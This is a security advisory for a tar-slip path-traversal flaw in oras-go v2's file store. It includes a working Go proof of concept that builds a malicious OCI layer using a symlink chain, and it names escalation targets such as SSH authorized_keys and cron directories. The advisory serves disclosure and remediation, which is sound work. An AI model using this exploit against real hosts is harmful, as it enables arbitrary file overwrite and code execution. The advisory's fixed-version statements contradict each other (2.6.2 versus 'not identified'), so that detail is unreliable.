GHSA-m37j-52j7-pjw7: Path Traversal
Summary The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.
Details Affected versions: <= v2.6.1
Entry point: content/file/file.go line 486, (Store).pushDir — reached from (Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.
Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:
go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { // resolve link path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } // ensure path is under baseAbs or baseRel if , err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil }
filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.
Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:
go // No symbolic link allowed in the relative path dir := filepath.Dir(path) for dir != "." { if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil { ... } else if info.Mode()&os.ModeSymlink != 0 { return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target) } dir = filepath.Dir(dir) }
For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.
Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:
go file, err := os.OpenFile(path, os.OWRONLY|os.OCREATE|os.OTRUNC, perm)
No ONOFOLLOW, so if path is a symlink the write goes to its target.
Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:
1. N nested directories <title>/d0/d1/…/d{N-1}. 2. A symlink <title>/d0/…/d{N-1}/up → "../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry. 3. A symlink <title>/escape → "d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget> — inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended — the symlink points at the attacker-chosen absolute path. 4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with OTRUNC and no ONOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.
Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.
Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with ONOFOLLOW (or OEXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVEBENEATH) / os.Root (Go 1.24+) for all filesystem operations.
PoC go mod init poc go get oras.land/oras-go/v2@v2.6.1 go run .
go // Arbitrary file write outside a default-configured file.Store via // symlink-chain bypass in content/file.extractTarDirectory. // // ensureLinkPath() validates symlink targets purely lexically with // filepath.Join, which collapses ".." textually and does not follow // intermediate symlink components. By first planting a deep "up" symlink // that legitimately resolves to the extraction root, an "escape" symlink // can be crafted whose lexical target stays in-bounds but whose // kernel-resolved target is any absolute path. A follow-up TypeReg entry // with the same name is opened with OCREATE|OTRUNC (no ONOFOLLOW), // writing through the symlink. // // Realistic trigger: oras.Copy() from an untrusted registry into a // file.New() store. The attacker controls the manifest (sets // AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob. // All digests are honest, so content verification passes. package main
import ( "archive/tar" "bytes" "compress/gzip" "context" "crypto/sha256" "fmt" "os" "path/filepath" "strings"
"github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" "oras.land/oras-go/v2/content/file" )
func main() { if err := run(); err != nil { fmt.Println("ERROR:", err) os.Exit(1) } }
func run() error { ctx := context.Background()
// Victim's working directory for the file store. workDir, err := os.MkdirTemp("", "oras-victim-") if err != nil { return err } defer os.RemoveAll(workDir) fmt.Println("[] file.Store working dir:", workDir)
// Target path the attacker wants to write, OUTSIDE workDir. // (Could be ~/.ssh/authorizedkeys, ~/.bashrc, /etc/cron.d/x, etc.; // a temp path keeps the demo self-contained.) outsidePath := filepath.Join(os.TempDir(), "oras-PWNED") = os.Remove(outsidePath) defer os.Remove(outsidePath) fmt.Println("[] attacker target (outside workDir):", outsidePath)
// The layer's AnnotationTitle. extractTarDirectory uses this as both the // in-tar prefix and the on-disk subdir under workDir. const title = "out" baseAbs := filepath.Join(workDir, title)
// N nested dirs + a symlink "up" -> N"../" so that after the kernel // follows "up" (landing at baseAbs) the remaining N lexical ".." // components climb from baseAbs to "/". N must be >= depth(baseAbs). depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/")) fmt.Printf("[] baseAbs depth = %d, building %d nested dirs\n", depth, depth)
gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath) if err != nil { return err }
// Descriptor exactly as it would appear in a manifest's "layers" array. desc := ocispec.Descriptor{ MediaType: "application/vnd.oci.image.layer.v1.tar+gzip", Digest: dgst, Size: size, Annotations: map[string]string{ ocispec.AnnotationTitle: title, file.AnnotationUnpack: "true", }, }
// Victim creates a file store with default settings (path traversal DISALLOWED). store, err := file.New(workDir) if err != nil { return err } defer store.Close() fmt.Println("[] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)
// This is exactly what oras.Copy() invokes per layer. if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil { return fmt.Errorf("Push: %w", err) }
// Check whether the out-of-tree file was written. if data, err := os.ReadFile(outsidePath); err == nil { rel, := filepath.Rel(workDir, outsidePath) fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath) fmt.Printf("[!] relative to workDir: %s\n", rel) fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir") return nil } fmt.Println("\n[-] no escape (file not created at", outsidePath, ")") return nil }
// buildMaliciousLayer builds a tar.gz that, when extracted by // content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath. func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) { var buf bytes.Buffer gzw := gzip.NewWriter(&buf) tw := tar.NewWriter(gzw)
// 1. Nested directories: title/d0/d1/.../d{depth-1} dirs := make([]string, depth) for i := 0; i < depth; i++ { dirs[i] = fmt.Sprintf("d%d", i) } for i := 1; i <= depth; i++ { name := title + "/" + strings.Join(dirs[:i], "/") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil { return nil, "", 0, err } }
// 2. "up" symlink at the bottom, pointing back to baseAbs via depth"../". // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath. upName := title + "/" + strings.Join(dirs, "/") + "/up" upTarget := strings.Repeat("../", depth-1) + ".." if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil { return nil, "", 0, err }
// 3. "escape" symlink at title/escape. // Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath> // LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving // d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it. // KERNEL: d0/.../up follows the symlink to baseAbs, then N".." // climbs to "/", then appends outsidePath. dots := strings.Repeat("../", depth-1) + ".." escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil { return nil, "", 0, err }
// 4. Regular file entry at title/escape - same path as the symlink. // resolveRelToBase("escape") has dir=="." so the per-component Lstat // loop never runs; writeFile opens with OCREATE|OTRUNC (no // ONOFOLLOW) and writes through the symlink to outsidePath. payload := []byte("PWNED-BY-ORAS-TARSLIP") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil { return nil, "", 0, err } if , err := tw.Write(payload); err != nil { return nil, "", 0, err }
if err := tw.Close(); err != nil { return nil, "", 0, err } if err := gzw.Close(); err != nil { return nil, "", 0, err }
data := buf.Bytes() return data, digest.FromBytes(data), int64(len(data)), nil }
Expected output (paths vary):
[] file.Store working dir: /tmp/oras-victim-209731351 [] attacker target (outside workDir): /tmp/oras-PWNED [] baseAbs depth = 3, building 3 nested dirs [] store.AllowPathTraversalOnWrite = false
[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED [!] relative to workDir: ../oras-PWNED [!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
Impact Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store — e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store — with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.
What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorizedkeys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/ or binaries on $PATH — i.e. remote code execution on the victim host.
Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/oras.land/oras-go/v2to a version that resolves this vulnerability.Fixed in 2.6.2
Event History
Frequently Asked Questions
Which versions need remediation?
oras-go v2.6.1 and earlier are affected. The provided data does not identify the first fixed release.
Which operations can trigger extraction of a malicious layer?
The vulnerable path is reached when Store.Push processes a descriptor with io.deis.oras.content.unpack set to "true" and an org.opencontainers.image.title annotation. oras.Copy from a remote registry into a file.New(dir) store invokes this processing for each layer.
Does disabling AllowPathTraversalOnWrite prevent exploitation?
No. The issue allows writes outside the store working directory under the default AllowPathTraversalOnWrite=false configuration.
What must a malicious artifact contain to exploit this?
It needs a crafted OCI layer tarball that creates a symlink chain with a lexically in-root target that resolves to an absolute path, followed by a regular-file entry written through that chain. This can create or overwrite files outside the intended extraction directory.